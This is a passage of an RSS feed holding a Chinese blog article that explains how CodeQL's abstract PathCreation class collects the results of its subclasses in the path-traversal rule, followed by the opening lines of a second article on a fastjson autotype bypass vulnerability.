style="font-family:等线;">上的不足，或者是无法建立数据流的关联性，比如数据安全中强调的数据生命周期。对于静态代码来说这个比较难追踪或者建立对应的联系，大部分收集到的数据是非关系型数据，但是通过</span></span><span style="font-family:等线;font-size:14px;">CodeQL</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">这样去实现，我们不仅可以实现代码漏洞的挖掘，顺便可以把资产的元数据提取工作也做了，这些元数据又可以在提供给数据安全的同时用来关联数据的对应关系。</span></span></p><p><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">在存量较大的情况，我们可以实现</span>SQL语句的字段对应到</span><span style="font-family:等线;font-size:14px;">controller</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">和参数，当你深入了解了</span></span><span style="font-family:等线;font-size:14px;">CodeQL</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">，你会发现我说的这些仅仅是冰山一角。</span></span></p><p><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;"><br/></span></span></p><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section style="text-align: left;text-indent: 0em;">                           <span style="color: rgb(178, 178, 178);"><span style="color: rgb(178, 178, 178);font-size: 15px;text-align: center;">抽象类探究</span></span></section><section data-mpa-template="t" mpa-from-tpl="t"><img data-ratio="0.01875" width="auto" data-type="jpeg" data-w="640" style="font-size: 15px;color: rgb(62, 62, 62);line-height: 1.6;display: inline;height: auto !important;width: auto !important;visibility: visible !important;" title="金属质感分割线" src="https://wechat2rss.xlab.app/img-proxy/?k=e9f76a2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrrbZLC2ibIgtgV382cFCwmibpHFT7jndu1ibEDpFia0dzsjETHdt0HFzYlVRnHIaumpf3QyVos7giadDicqSku9zOEibw%2F640%3Fwx_fmt%3Djpeg"/></section></section></section></section></section></section></section></section><section style="margin-top: 15px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">我在阅读了</span></span><span style="font-family:等线;font-size:14px;">CodeQL</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">大量插件的代码的情况下发现了一个有趣的结构，这个结构就是抽象方法实例化的时候会自动执行子类的方法，而不需要调用子类的方法。这个结构大量存在于</span></span><span style="font-family:等线;font-size:14px;">CodeQL</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">的规则中，这里我以</span></span><span style="font-family:等线;font-size:14px;">CWE-022</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">，</span>T</span><span style="font-family:等线;font-size:14px;">aiantedPath.ql</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">作为例子来讲解</span></span></section><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">首先这个规则的主体是：</span></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="1" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5c6eebf1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z76hkwDHCcC6aibm7KWM7iaib9ibJjvZxiaZRToViaFYK0Hm2OmicuIP7mVBg9o3ma1JdiarreC6l8OmKhFrg%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-left: 0px;margin-right: 0px;text-indent: 0em;line-height: 1.5em;text-align: left;margin-bottom: 10px;"><span style="font-size: 14px;font-family: 等线;letter-spacing: 0.5px;">在上一部分的讲解中，我们了解到了数据流必须使用DataFlow::xxx和TaintTracking::configuration，其中conf是对数据流进行配置，而这里，我圈出来的any()方法中的就是对一个sink的约束，他的约束主要在PathCreation类和guarded谓词中。这里重点就是在讲解PathCreation类。</span></section><p><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">首先它是一个静态类，作者抽象了</span></span><span style="font-family:等线;font-size:14px;">PathCommon.qll</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">库，在这个库里我们可以看到这个方法的原型</span>(</span><span style="font-family:等线;font-size:14px;">Construtor)</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">，我把它抽象下结构如下：</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">abstract</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">PathCreation</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">Expr</span> </span>{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">abstract</span> Expr <span class="code-snippet__title">getInput</span><span class="code-snippet__params">()</span></span>;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">PathsGet</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">PathCreation</span>, <span class="code-snippet__title">MethodAccess</span> </span>{</span></code><code><span class="code-snippet_outer">  PathsGet() {</span></code><code><span class="code-snippet_outer">    …</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function">override Expr <span class="code-snippet__title">getInput</span><span class="code-snippet__params">()</span> </span>{ result = <span class="code-snippet__keyword">this</span>.getAnArgument() }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">FileSystemGetPath</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">PathCreation</span>, <span class="code-snippet__title">MethodAccess</span> </span>{</span></code><code><span class="code-snippet_outer">  FileSystemGetPath() {</span></code><code><span class="code-snippet_outer">    …</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function">override Expr <span class="code-snippet__title">getInput</span><span class="code-snippet__params">()</span> </span>{ result = <span class="code-snippet__keyword">this</span>.getAnArgument() }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">FileCreation</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">PathCreation</span>, <span class="code-snippet__title">ClassInstanceExpr</span> </span>{</span></code><code><span class="code-snippet_outer">  FileCreation() { …}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function">override Expr <span class="code-snippet__title">getInput</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">    result = <span class="code-snippet__keyword">this</span>.getAnArgument() and</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// Relevant arguments include those that are not a `File`.</span></span></code><code><span class="code-snippet_outer">    not result.getType() <span class="code-snippet__keyword">instanceof</span> TypeFile</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">FileWriterCreation</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">PathCreation</span>, <span class="code-snippet__title">ClassInstanceExpr</span> </span>{</span></code><code><span class="code-snippet_outer">  FileWriterCreation() { <span class="code-snippet__keyword">this</span>.getConstructedType().getQualifiedName() = <span class="code-snippet__string">&#34;java.io.FileWriter&#34;</span> }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function">override Expr <span class="code-snippet__title">getInput</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">    result = <span class="code-snippet__keyword">this</span>.getAnArgument() and</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// Relevant arguments are those of type `String`.</span></span></code><code><span class="code-snippet_outer">    result.getType() <span class="code-snippet__keyword">instanceof</span> TypeString</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function">predicate <span class="code-snippet__title">inWeakCheck</span><span class="code-snippet__params">(Expr e)</span> </span>{</span></code><code><span class="code-snippet_outer">  none()</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// Ignore cases where the variable has been checked somehow,</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// but allow some particularly obviously bad cases.</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function">predicate <span class="code-snippet__title">guarded</span><span class="code-snippet__params">(VarAccess e)</span> </span>{</span></code><code><span class="code-snippet_outer">  none()</span></code><code><span class="code-snippet_outer">  )</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="margin-top: 15px;margin-bottom: 15px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">聪明的你可以发现，下面的子类都是继承于</span></span><span style="font-family:等线;font-size:14px;">PathCreation</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">类，并且重写了一个</span></span><span style="font-family:等线;font-size:14px;">getInput</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">方法，这个方法我们可以看到都带有</span></span><span style="font-family:等线;font-size:14px;">result</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">关键词，并且是一个带类型的返回型谓词。根据官方文档的说明，带</span></span><span style="font-family:等线;font-size:14px;">result</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">就会把符合条件的集合返回。而且可以看到，返回的谓词中大部分都有</span></span><span style="font-family:等线;font-size:14px;">this.getAnArgument</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">，这个意思就是返回满足上面的参数集合，他们有一个共性，都</span></span><span style="font-family:等线;font-size:14px;">extends </span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">了</span></span><span style="font-family:等线;font-size:14px;">PathCreation</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">类。那时候我就好奇了，这个类全文却没地方调用过，或者实例化。</span></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.9468354430379747" data-s="300,640" style="" data-type="png" data-w="790" src="https://wechat2rss.xlab.app/img-proxy/?k=9d85dadf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z76hkwDHCcC6aibm7KWM7iaib9ZSpETblbDnhOzRU9UTwtjkEXHlPlczzNqrV4VGNwpC8tryetpWib7GA%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-bottom: 10px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">全文档搜索了也没发现有这个类的实例化。然后我对这个规则简单的调试了下，发现注释掉部分子类的代码，并且执行了</span></span><span style="font-family:等线;font-size:14px;">PathCreation</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">和</span></span><span style="font-family:等线;font-size:14px;">PathGet</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">、</span></span><span style="font-family:等线;font-size:14px;"> FileCreation</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">和</span></span><span style="font-family:等线;font-size:14px;">FileWriterCreation</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">发现就是这几个子类的总集合。</span></span></section><section style="margin-bottom: 10px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">这是总的集合</span></span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="1.0261194029850746" data-s="300,640" style="" data-type="png" data-w="536" src="https://wechat2rss.xlab.app/img-proxy/?k=49e140c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z76hkwDHCcC6aibm7KWM7iaib9vDtkLus8XTGKD9TU1EnCg0RcM9vjlNPRe2jc57ZegL3DTAH2zxOG9Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">这是</span></span><span style="font-family:等线;font-size:14px;">PathGet</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.6161971830985915" data-s="300,640" style="" data-type="png" data-w="568" src="https://wechat2rss.xlab.app/img-proxy/?k=ef883733&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z76hkwDHCcC6aibm7KWM7iaib9dwLNibsErDtwGo0LDJJOcs4a96ibq1LtwdcAWklQMQjEDicUNMttY5GMQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">这是</span>F</span><span style="font-family:等线;font-size:14px;">ileCreation</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.6666666666666666" data-s="300,640" style="" data-type="png" data-w="528" src="https://wechat2rss.xlab.app/img-proxy/?k=b251cbdb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z76hkwDHCcC6aibm7KWM7iaib9S1pABxtDR0HciaNoWzsWzcicOgcSsy9Oh6a44cbKic6eb0oy1H6RuyN4g%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">到此，我们可以得出一个结论</span>:</span><span style="font-family:等线;font-size:14px;"> </span><span style="font-family:等线;font-size:14px;">CodeQL对抽象类的查询会筛选出所有满足子类条件的结果集合，而至于需不需要返回，这个就需要你自己去手动定义个谓词来返回。</span></p><p><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">到这里我相信你就可以去了解一些必须要理解的类，比如</span></span><span style="font-family:等线;font-size:14px;">RemoteFlowSource</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">类，这对编写插件如何更好的排版代码编写规则逻辑也很有帮助！</span></span></p><p style="margin-top: 10px;margin-bottom: 5px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">下面是</span></span><span style="font-family:等线;font-size:14px;">PathsCommon</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">的主体的注释，希望能帮你理解</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">abstract</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">PathCreation</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">Expr</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">abstract</span> Expr <span class="code-snippet__title">getInput</span><span class="code-snippet__params">()</span></span>;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">PathsGet</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">PathCreation</span>, <span class="code-snippet__title">MethodAccess</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 寻找`java.nio.file.Paths`类下的get方法</span></span></code><code><span class="code-snippet_outer">    PathsGet() {</span></code><code><span class="code-snippet_outer">      exists(Method m | m = <span class="code-snippet__keyword">this</span>.getMethod() |</span></code><code><span class="code-snippet_outer">        m.getDeclaringType() <span class="code-snippet__keyword">instanceof</span> TypePaths and</span></code><code><span class="code-snippet_outer">        m.getName() = <span class="code-snippet__string">&#34;get&#34;</span></span></code><code><span class="code-snippet_outer">      )</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 返回这个方法的集合</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function">override Expr <span class="code-snippet__title">getInput</span><span class="code-snippet__params">()</span> </span>{ result = <span class="code-snippet__keyword">this</span>.getAnArgument() }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">FileSystemGetPath</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">PathCreation</span>, <span class="code-snippet__title">MethodAccess</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 寻找`java.nio.file.FileSystem`类下的getPath方法并通过getInput方法返回这个集合</span></span></code><code><span class="code-snippet_outer">    FileSystemGetPath() {</span></code><code><span class="code-snippet_outer">      exists(Method m | m = <span class="code-snippet__keyword">this</span>.getMethod() |</span></code><code><span class="code-snippet_outer">        m.getDeclaringType() <span class="code-snippet__keyword">instanceof</span> TypeFileSystem and</span></code><code><span class="code-snippet_outer">        m.getName() = <span class="code-snippet__string">&#34;getPath&#34;</span></span></code><code><span class="code-snippet_outer">      )</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function">override Expr <span class="code-snippet__title">getInput</span><span class="code-snippet__params">()</span> </span>{ result = <span class="code-snippet__keyword">this</span>.getAnArgument() }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">FileCreation</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">PathCreation</span>, <span class="code-snippet__title">ClassInstanceExpr</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">//   限定实例化的对象的原型在`java.io.File`类下</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 例如new xxx()  这个xxx必须在`java.io.File`下</span></span></code><code><span class="code-snippet_outer">    FileCreation() { <span class="code-snippet__keyword">this</span>.getConstructedType() <span class="code-snippet__keyword">instanceof</span> TypeFile }</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function">override Expr <span class="code-snippet__title">getInput</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 获得上述实例化的class的参数，并且这个参数的类型必须是file类型的，并返回满足and条件的参数集合</span></span></code><code><span class="code-snippet_outer">      result = <span class="code-snippet__keyword">this</span>.getAnArgument() and</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__comment">// Relevant arguments include those that are not a `File`.</span></span></code><code><span class="code-snippet_outer">      not result.getType() <span class="code-snippet__keyword">instanceof</span> TypeFile</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">FileWriterCreation</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">PathCreation</span>, <span class="code-snippet__title">ClassInstanceExpr</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">//   限定在`java.io.FileWriter`类下</span></span></code><code><span class="code-snippet_outer">    FileWriterCreation() { <span class="code-snippet__keyword">this</span>.getConstructedType().getQualifiedName() = <span class="code-snippet__string">&#34;java.io.FileWriter&#34;</span> }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 返回参数类型是String类型的参数</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function">override Expr <span class="code-snippet__title">getInput</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">      result = <span class="code-snippet__keyword">this</span>.getAnArgument() and</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__comment">// Relevant arguments are those of type `String`.</span></span></code><code><span class="code-snippet_outer">      result.getType() <span class="code-snippet__keyword">instanceof</span> TypeString</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function">predicate <span class="code-snippet__title">inWeakCheck</span><span class="code-snippet__params">(Expr e)</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// None of these are sufficient to guarantee that a string is safe.</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 约束一个类下的方法如果是startswith等方法，注意这里的方法是原生的，这里建议扩大覆盖范围，使用matches去匹配类似的方法名</span></span></code><code><span class="code-snippet_outer">    exists(MethodAccess m, Method def | m.getQualifier() = e and m.getMethod() = def |</span></code><code><span class="code-snippet_outer">      def.getName() = <span class="code-snippet__string">&#34;startsWith&#34;</span> or</span></code><code><span class="code-snippet_outer">      def.getName() = <span class="code-snippet__string">&#34;endsWith&#34;</span> or</span></code><code><span class="code-snippet_outer">      def.getName() = <span class="code-snippet__string">&#34;isEmpty&#34;</span> or</span></code><code><span class="code-snippet_outer">      def.getName() = <span class="code-snippet__string">&#34;equals&#34;</span></span></code><code><span class="code-snippet_outer">    )</span></code><code><span class="code-snippet_outer">    or</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// Checking against `null` has no bearing on path traversal.</span></span></code><code><span class="code-snippet_outer">    exists(EqualityTest b | b.getAnOperand() = e | b.getAnOperand() <span class="code-snippet__keyword">instanceof</span> NullLiteral)</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// Ignore cases where the variable has been checked somehow,</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// but allow some particularly obviously bad cases.</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function">predicate <span class="code-snippet__title">guarded</span><span class="code-snippet__params">(VarAccess e)</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">//   一个参数必须存在于上面抽象类返回结果的集合中且条件分支为True的情况下的方法，还要不是StartsWith等方法</span></span></code><code><span class="code-snippet_outer">    exists(PathCreation p | e = p.getInput()) <span class="code-snippet__function">and</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">exists</span><span class="code-snippet__params">(ConditionBlock cb, Expr c |</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">      cb.getCondition()</span>.getAChildExpr*<span class="code-snippet__params">()</span> = c and</span></code><code><span class="code-snippet_outer">      c = e.getVariable().getAnAccess() and</span></code><code><span class="code-snippet_outer">      cb.controls(e.getBasicBlock(), <span class="code-snippet__keyword">true</span>) and</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__comment">// Disallow a few obviously bad checks.</span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__function">not <span class="code-snippet__title">inWeakCheck</span><span class="code-snippet__params">(c)</span></span></span></code><code><span class="code-snippet_outer">    )</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p><br/></p><p><br/></p><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-category="模板" style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin: 0 10px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;display: flex;justify-content: flex-start;align-items: flex-start;margin-bottom: -10.5px;" data-mid="" mpa-from-tpl="t"><img data-ratio="1" style="margin-left: -20.5px;width: 44px;height: 44px;" data-type="gif" data-w="99" src="https://wechat2rss.xlab.app/img-proxy/?k=b763599c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FG5JibjasY9UHkSMYSrOWlOVLHIXicfYxxbvHkvmqBjsEMpV4Ijos5xBCdicNLP1gzJicZkul5ibNUDNHtrl1ClGgeibA%2F640%3Fwx_fmt%3Dgif"/><span style="font-size: 12px;">喜欢请点关注👇</span></section><section style="border-radius: 23px;border-width: 2px;border-style: solid;border-color: rgb(112, 235, 255);display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="transform: translate(5px, 6px);padding: 18px 16px;background: linear-gradient(43deg, rgba(249, 221, 172, 0.5) 0%, rgba(110, 235, 255, 0.5) 100%);border-radius: 18px;display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><img data-cropselx1="0" data-cropselx2="92" data-cropsely1="0" data-cropsely2="92" data-ratio="1" style="width: 92px;height: 92px;" data-type="jpeg" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=84a51ddd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z4RlHv5xMA9PGiaPYDSHaHeGKn6EPjTpibSoc52UJxPricRNPY0uzvKbFCMzohoXj2wxwMWCZePsYdBw%2F640%3Fwx_fmt%3Djpeg"/></section></section></section></section></section></section></section>



<p><a href="2247484466">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7e2a9a21&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247484466%26idx%3D1%26sn%3D336628177db219ea1528e6387ae223ea%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 05 Aug 2020 10:17:00 +0800</pubDate>
    </item>
    <item>
      <title>fastjson68版本绕过autotype原理及利用场景分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247484063&amp;idx=1&amp;sn=00fcc00a70de96e81230cc062588e634</link>
      <description>fastjson 68版本前一阵子有些闹得沸沸扬扬的，今天看到fastjson代码已经跟进到71版本了，所以对68和69版本的代码做了一下比对，看了一下修复代码，这里对68版本fastjson的RCE漏洞做一下原理以及利用场景的分析。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Glassy</span> <span>2020-06-17 10:11</span> <span style="display: inline-block;"></span>
</p>

<p>fastjson 68版本前一阵子有些闹得沸沸扬扬的，今天看到fastjson代码已经跟进到71版本了，所以对68和69版本的代码做了一下比对，看了一下修复代码，这里对68版本fastjson的RCE漏洞做一下原理以及利用场景的分析。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=94403b0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z5pvIGCMp7ic6ia46lveyu9xia6jogTfhE6VzXM3zgOicR4K9vMSIC0k0H0fHWk6Y6AwSsY1BkcmPgM8g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="display: none;" data-tools="新媒体管家" data-label="powered by xmt.cn"><br/></section><h1 style="margin: 0px 0px 10px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;font-weight: bold;-webkit-font-smoothing: antialiased;font-size: 28px;color: rgb(0, 0, 0);" data-mpa-powered-by="yiban.io"><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;letter-spacing: normal;font-size: 13px;">author：平安银行应用安全团队@Glassy</span></h1><section data-mpa-template="t" mpa-from-tpl="t"><section style="margin: 0px;padding: 0px;color: rgb(0, 0, 0);font-size: medium;" mpa-from-tpl="t"><section style="margin: 0px;padding: 0px;" mpa-from-tpl="t"><section style="margin: 10px 0px;padding: 0px;" mpa-from-tpl="t"><section style="margin: 0px;padding: 1em 0px 0px;" mpa-from-tpl="t"><section style="margin: 0px;padding: 15px 10px 10px;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);background-color: rgb(239, 239, 239);" mpa-from-tpl="t"><section style="margin: 0px;padding: 0px;" mpa-from-tpl="t"><section style="margin: -1.98em 0px 0px;padding: 0px;" mpa-from-tpl="t"><section style="margin: 0px;padding: 0px;display: inline-block;" mpa-from-tpl="t"><section style="margin: 0px;padding: 0px 10px;display: inline-block;vertical-align: top;box-shadow: rgb(114, 106, 106) 0.1em 0.1em 0.3em;border-radius: 0px 0px 0.3em 0.3em;background-color: rgb(206, 176, 103);color: rgb(255, 255, 255);font-size: 18px;text-align: center;" mpa-from-tpl="t"><p style="clear: both;min-height: 1em;"><span style="margin: 0px;padding: 